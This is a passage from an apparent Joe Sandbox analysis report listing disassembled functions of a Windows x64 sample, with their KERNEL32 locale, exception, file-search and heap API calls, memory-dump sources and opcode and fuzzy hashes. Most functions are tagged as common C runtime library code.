EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF6A72ACCB3), ref: 00007FF6A72BB639
GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF6A72BB652
IsValidCodePage.KERNEL32 ref: 00007FF6A72BB68E
IsValidLocale.KERNEL32 ref: 00007FF6A72BB6A4
GetLocaleInfoW.KERNEL32 ref: 00007FF6A72BB700
GetLocaleInfoW.KERNEL32 ref: 00007FF6A72BB71C

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultEnumLocalesPageSystemUser
String ID:
API String ID: 3082464267-0
Opcode ID: 23049e9bca9cf155f59126e0252aaeb76ffafbeb238e8479c4e83e325f1a7626
Instruction ID: 9cdb4e70a256f9f1b88559600fe122788e41f6fe1deca70392436d082926a3a1
Opcode Fuzzy Hash: 23049e9bca9cf155f59126e0252aaeb76ffafbeb238e8479c4e83e325f1a7626
Instruction Fuzzy Hash: 5B714822F0A6428AFB209F65DA516BD33A4BF88B44F444136CA5D9369AEF3CF845C351

Function 00007FF6A72A4D38 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6A72A4DC3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6A72A4DDB
RtlVirtualUnwind.KERNEL32 ref: 00007FF6A72A4E16
IsDebuggerPresent.KERNEL32 ref: 00007FF6A72A4E4F
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6A72A4E59
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6A72A4E64

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: c30e0b900f36921b446fa71db49fc22f6e009e37324649d0b4d0ac352e5add62
Instruction ID: 62180e9ce6f27878c0d7bcf625f1978cdf1154443c0d404070793fff92be8bfe
Opcode Fuzzy Hash: c30e0b900f36921b446fa71db49fc22f6e009e37324649d0b4d0ac352e5add62
Instruction Fuzzy Hash: 5E417C32619F818AEB60CF28E9403EE73A4FB98758F540135EA8D82B99DF7CD545CB00

Function 00007FF6A72BB2E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,00007FF6A72BB681), ref: 00007FF6A72BB341
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,00007FF6A72BB681), ref: 00007FF6A72BB36E
GetACP.KERNEL32(?,?,?,?,?,?,?,00007FF6A72BB681), ref: 00007FF6A72BB384

Strings

OCP, xrefs: 00007FF6A72BB31D
ACP, xrefs: 00007FF6A72BB30D

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 8c5541fe81a8734eabf8503786d2f7fc728e91418014d89b65a27018a0f01a87
Instruction ID: c45c6da3c57fe05318dfad2f60620e75b8df5a7ef6e85b4cc85a2072ab6c397a
Opcode Fuzzy Hash: 8c5541fe81a8734eabf8503786d2f7fc728e91418014d89b65a27018a0f01a87
Instruction Fuzzy Hash: 37114221B1E64382FB649F52E65097A6364EF84784F485131EA4AC3A9FDF3CF845CB41

Function 00007FF6A72B7700 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF6A72B7881
FindNextFileW.KERNEL32 ref: 00007FF6A72B79B7
FindClose.KERNEL32 ref: 00007FF6A72B79F7
FindClose.KERNEL32 ref: 00007FF6A72B7A23

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 371edf6f21b2166734673312ffef1f03a54e4097dd2335f9a2369213e92a9216
Instruction ID: a16c11e43119e364200c0c93b6a0d4c1939681edfbd5ec004782641c2d267bbb
Opcode Fuzzy Hash: 371edf6f21b2166734673312ffef1f03a54e4097dd2335f9a2369213e92a9216
Instruction Fuzzy Hash: C7A10822F0968249FB209F759A842BD6BA1AB81794F144136DE8DA7B9ECE3CF141D700

Function 00007FF6A729FD24 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6A729FD50
GetCurrentThreadId.KERNEL32 ref: 00007FF6A729FD5E
GetCurrentProcessId.KERNEL32 ref: 00007FF6A729FD6A
QueryPerformanceCounter.KERNEL32 ref: 00007FF6A729FD7A

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1727cf210d413c97b674556539caaea056c5406bfe29e6e488f5e1709d763cf8
Instruction ID: 24c35d25d00a5bcf5a1e80c3a8bbf30f1518ae26a19c01fec37ea38778b179f7
Opcode Fuzzy Hash: 1727cf210d413c97b674556539caaea056c5406bfe29e6e488f5e1709d763cf8
Instruction Fuzzy Hash: F2117C22B15F028AEB00CF60E8552B933A4FB18759F041E31DA2DC27A9DF78E1988340

Function 00007FF6A72AAA40 Relevance: 4.8, APIs: 3, Instructions: 333COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF6A72AAAA6
memcpy_s.LIBCPMT ref: 00007FF6A72AAAD1

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 84c29ce29fb1e120181d91d93334c26c5d6f2659dcd9aaa937d5335dd7ae5313
Instruction ID: 1fb86640075f5edc79f2b1d9ecb0cbaf876da81092c470218fbbb432e32ae527
Opcode Fuzzy Hash: 84c29ce29fb1e120181d91d93334c26c5d6f2659dcd9aaa937d5335dd7ae5313
Instruction Fuzzy Hash: 04C1C572B1A6C687E724CF19A24467BB7A1FB98784F409135DB4A87748DF3DE841CB40

Function 00007FF6A72BAF40 Relevance: 4.7, APIs: 3, Instructions: 165COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF6A72BAFAC

Part of subcall function 00007FF6A72B6E20: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72B6E3D

GetLocaleInfoW.KERNEL32 ref: 00007FF6A72BAFF5

Part of subcall function 00007FF6A72B6E20: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72B6E96

GetLocaleInfoW.KERNEL32 ref: 00007FF6A72BB0B9

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: InfoLocale$_invalid_parameter_noinfo
String ID:
API String ID: 4006003004-0
Opcode ID: 81074807030ab04e0ca2f8fc133e074b489c06d7094bf8052fea0965c22cf114
Instruction ID: 8d6ed52f42ab19aa3da071200ac629216f2be2934b0cfd9a8e4f86d68f8961ec
Opcode Fuzzy Hash: 81074807030ab04e0ca2f8fc133e074b489c06d7094bf8052fea0965c22cf114
Instruction Fuzzy Hash: F7618C32A1A64286EB348F21EA806B973A2FBC4744F448135CB9ED369ADF3CF555C740

Function 00007FF6A72B1324 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF6A72ACE86), ref: 00007FF6A72B139D

Strings

GetLocaleInfoEx, xrefs: 00007FF6A72B1355, 00007FF6A72B1363

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 36c888ca9ebf213c43cc506c580f2dec5de0ad988ad09df5ffefaf23a3d39bb5
Instruction ID: 71d8a6ff59cd59a3fcd2f1caccdd0d9c3f243a18065d9835d8eb01d16a23162f
Opcode Fuzzy Hash: 36c888ca9ebf213c43cc506c580f2dec5de0ad988ad09df5ffefaf23a3d39bb5
Instruction Fuzzy Hash: A701BE21B09B4245EB50DF16A6404A95350FFD4BE4F584535DE2C837EEEE3CF5458340

Function 00007FF6A72B34B0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF6A72B35BD
gfff, xrefs: 00007FF6A72B363A

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c99e09161711441d974db7e65f8d2021171ca7f4235b4f742a5689651b2ee326
Instruction ID: 0ca162f13b8df143edb9dbfa94597d011993cc1b474c0ef3299a7a8b63622427
Opcode Fuzzy Hash: c99e09161711441d974db7e65f8d2021171ca7f4235b4f742a5689651b2ee326
Instruction Fuzzy Hash: 21518962B192C182E7348F359A40769BB95E788B94F49D235CBAC87BCBCF3DE0448700

Function 00007FF6A72A98D0 Relevance: 1.9, APIs: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF6A72A9A25

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: a96cd0d861cd29f8b9d8cd91d6f0251d401f274d19e509aef404a40db795718e
Instruction ID: 8e23eeaddbeed2e8d68c35517ea35dd1c330c4f86e56af09c7607d0c04a7e9b1
Opcode Fuzzy Hash: a96cd0d861cd29f8b9d8cd91d6f0251d401f274d19e509aef404a40db795718e
Instruction Fuzzy Hash: 4002AB22A0ABC186E751CF3996152F973A4FB68748F059236EB8C87657EF38E1D5C700

Function 00007FF6A72B8F60 Relevance: 1.8, APIs: 1, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 526446269ffba094eff295bb5c7f380a0a2dc8134be9e44f298d8211d4bd3aaf
Instruction ID: c23482158526490650a38baf93242d9976a91c1e35b6fa48f026e1a94281263a
Opcode Fuzzy Hash: 526446269ffba094eff295bb5c7f380a0a2dc8134be9e44f298d8211d4bd3aaf
Instruction Fuzzy Hash: A3E15032B05B8186E720DF61E5512EE67A4FB95788F408A31DF9D9779AEF38E245C300

Function 00007FF6A72B757C Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A72B0ED0: HeapAlloc.KERNEL32(?,?,00000000,00007FF6A72AEFAF), ref: 00007FF6A72B0F25

Part of subcall function 00007FF6A72BD4D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BD50B

FindFirstFileExW.KERNEL32 ref: 00007FF6A72B7881

Part of subcall function 00007FF6A72AEC00: RtlFreeHeap.NTDLL(?,?,00007FF6A72ADEA3,00007FF6A72B97F6,?,?,?,00007FF6A72B9B73,?,?,00000000,00007FF6A72BA0F9,?,?,?,00007FF6A72BA02B), ref: 00007FF6A72AEC16
Part of subcall function 00007FF6A72AEC00: GetLastError.KERNEL32(?,?,00007FF6A72ADEA3,00007FF6A72B97F6,?,?,?,00007FF6A72B9B73,?,?,00000000,00007FF6A72BA0F9,?,?,?,00007FF6A72BA02B), ref: 00007FF6A72AEC20

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: Heap$AllocErrorFileFindFirstFreeLast_invalid_parameter_noinfo
String ID:
API String ID: 2436724071-0
Opcode ID: 63765c4cee929284aba747f514e5de17130b812450d1f97a79564bc420e0debf
Instruction ID: 58b82fcfa8bcd3823379b710f3afd4bee9b04af132f8c24b0e286820f1153556
Opcode Fuzzy Hash: 63765c4cee929284aba747f514e5de17130b812450d1f97a79564bc420e0debf
Instruction Fuzzy Hash: 3181E922B0A68245FB20DF26E6512BE6791EBC4794F144536DE9D8779ADE3CF141C700

Function 00007FF6A72B4C60 Relevance: 1.7, APIs: 1, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF6A72B4EB0

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 51e7df834f11b8546d5df212a1264f50659c9953227c4688a89335d5e1efa6fb
Instruction ID: 1d63acdc255e1f644cd124f7752bad67002cf4fc943b161cd27e9f7577e9611a
Opcode Fuzzy Hash: 51e7df834f11b8546d5df212a1264f50659c9953227c4688a89335d5e1efa6fb
Instruction Fuzzy Hash: 98B16D73505B858BE7598F29C58636877A0F784B68F048A25DB7E877E9CF38E851C700

Function 00007FF6A72BB190 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF6A72BB1F8

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9468797d73e2eb1a243b48405786665ca54247b8b49a7653f47cc3e6f2419dbd
Instruction ID: ef8297d1901fde4699287dacf6ce17b090e71498078bd2e4adc98dcad5be86bf
Opcode Fuzzy Hash: 9468797d73e2eb1a243b48405786665ca54247b8b49a7653f47cc3e6f2419dbd
Instruction Fuzzy Hash: B8315231B0A68286EB649F21E6513AE7391FB98784F448135DA8EC369ADF3CF8558740

Function 00007FF6A72BADD8 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF6A72BB5E5,?,00000000,00000092,?,?,00000000,?,00007FF6A72ACCB3), ref: 00007FF6A72BAE76

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: cc4cee5048d434657e504dabf388a32aaf8a07bbf97d0c364b2ec64a16777d4e
Instruction ID: 24652655588fe57f0f901bd5192367ff0271956309e57beb6ed73b2fad75c9d5
Opcode Fuzzy Hash: cc4cee5048d434657e504dabf388a32aaf8a07bbf97d0c364b2ec64a16777d4e
Instruction Fuzzy Hash: 9D110663E196858AEB148F59D1802BE77B0FB90FA0F448135C629833CACF38E5D1C740

Function 00007FF6A72BB39C Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00007FF6A72BB136), ref: 00007FF6A72BB3DB

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8f66aeb2b72281504ac263c9471bc8c4711070af967036c0f91a89774ec630f8
Instruction ID: 361bbde3b661837eabd9862a9e7ed505da699afa3d29a9ab80160e76defdcadb
Opcode Fuzzy Hash: 8f66aeb2b72281504ac263c9471bc8c4711070af967036c0f91a89774ec630f8
Instruction Fuzzy Hash: 80110332A1965686E7649F66A15017E77B0FBC4B54F98813ADB6D833CACE39F881C300

Function 00007FF6A72BAEA8 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF6A72BB5A0,?,00000000,00000092,?,?,00000000,?,00007FF6A72ACCB3), ref: 00007FF6A72BAF26

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: e463bd61fa8b783ba7e68716a421290a803a6ae3b7ab73c8ca321760a3f7d7bb
Instruction ID: 5a1579147794fbec95f3b14b412976470707335922b8bf97aff10084657ef4e5
Opcode Fuzzy Hash: e463bd61fa8b783ba7e68716a421290a803a6ae3b7ab73c8ca321760a3f7d7bb
Instruction Fuzzy Hash: 8B012872F0928186E7204F15E6407BA72F2EB907A0F448332D228832CECF7DB481C700

Function 00007FF6A72B0F64 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF6A72B12E8,?,?,?,?,?,?,?,?,00000000,00007FF6A72BA3FC), ref: 00007FF6A72B0F9A

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: c96957e9a8c380a330ad303bc2a0ff7fec536091b69579d51069f79e903564ec
Instruction ID: e8017d76bd130e5930414dafbb258050c55c4fe980ce6c2fc22aa4d2252ab29d
Opcode Fuzzy Hash: c96957e9a8c380a330ad303bc2a0ff7fec536091b69579d51069f79e903564ec
Instruction Fuzzy Hash: 3CF05E32B0964582E7108F16F5907A973A1EFA8780F548030D64D877AACE3CE490C700

Function 00007FF6A72B3018 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF6A72B3356

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: 2f069a9e3a8b292e050396c5306720775d205ae928a7ff7f0de9c1d90eb0956e
Instruction ID: acda4d9d798ed001985b3bff599daf485ab5b1a3fb1fed3d4717d6be220e91a3
Opcode Fuzzy Hash: 2f069a9e3a8b292e050396c5306720775d205ae928a7ff7f0de9c1d90eb0956e
Instruction Fuzzy Hash: 3DA14762A0E78586EB31CF29A5107AA7B98EB90784F059131DE8D8778BDE3DF905C700

Function 00007FF6A72B5D38 Relevance: 1.4, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6A72B5DDD

Part of subcall function 00007FF6A72B0ED0: HeapAlloc.KERNEL32(?,?,00000000,00007FF6A72AEFAF), ref: 00007FF6A72B0F25

